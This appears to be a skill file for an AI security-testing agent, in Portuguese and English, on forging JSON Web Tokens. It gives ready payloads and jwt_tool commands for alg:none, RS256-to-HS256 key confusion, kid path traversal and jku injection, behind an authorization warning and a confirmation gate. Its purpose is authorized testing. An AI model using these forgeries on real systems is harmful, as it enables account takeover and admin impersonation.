⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-JWT-CRYPTO — JSON Web Tokens Forjáveis (Falhas Criptográficas A04)

O que realmente vale a pena

Um JWT é header.payload.signature, cada um em base64url. A assinatura é a única coisa que impede você de editar o payload (sua identidade/papel) e reproduzi-lo. Vale Alto/Crítico quando o verificador pode ser enganado para aceitar um token que você forjou — assim você se torna outro usuário ou um administrador sem o segredo deles.

Duas falhas clássicas e genéricas de verificador:

• alg:none — o verificador confia no cabeçalho alg do próprio token. Defina alg:"none", remova a assinatura, edite o payload (por exemplo, role:"admin", o id/email de outro usuário). Um verificador quebrado pula a verificação da assinatura.
• Confusão de chave RS256 → HS256 — o token é assinado com RS256 (assimétrico). A chave pública RSA é, por definição, pública. Se o verificador permitir que você escolha HS256, ele usará essa chave pública como o segredo HMAC — que você também conhece. Assine um payload editado com HS256 usando a chave pública e ele validará.

Reconhecimento — este aplicativo é baseado em JWT?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decodifique o cabeçalho (base64url do primeiro segmento). "alg":"RS256" → tente a confusão de chave. Qualquer alg → sempre tente alg:none primeiro; é grátis.

Forjando o token (nunca codifique manualmente base64 — use uma ferramenta JWT)

Use uma ferramenta projetada para isso, para que a codificação/assinatura esteja correta: jwt_tool (jwt_tool <token> -T para adulterar interativamente, -X a para alg:none, -X k -pk public.pem para confusão de chave), a extensão JWT Editor do Burp, ou algumas linhas de PyJWT. Cada falsificação abaixo é o conceito mais a reivindicação a ser editada.

alg:none — torne-se administrador / outro usuário

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Alguns verificadores rejeitam none em minúsculas, mas aceitam None/NONE/nOnE — tente variações de maiúsculas/minúsculas.

Confusão de chave RS256 → HS256 — uma vez que você tenha a chave pública RSA

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

Injeção de cabeçalho kid — o verificador carrega a chave HMAC de um ARQUIVO nomeado por kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Saia do diretório de chaves primeiro. kid também pode conter SQLi / injeção de comando / SSRF se a busca da chave atingir um DB / shell / URL — mesma ideia: kid é controlado pelo atacante e atinge um destino perigoso.

Injeção de cabeçalho jku / x5u (RS256) — o verificador busca a chave pública de um URL no token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

…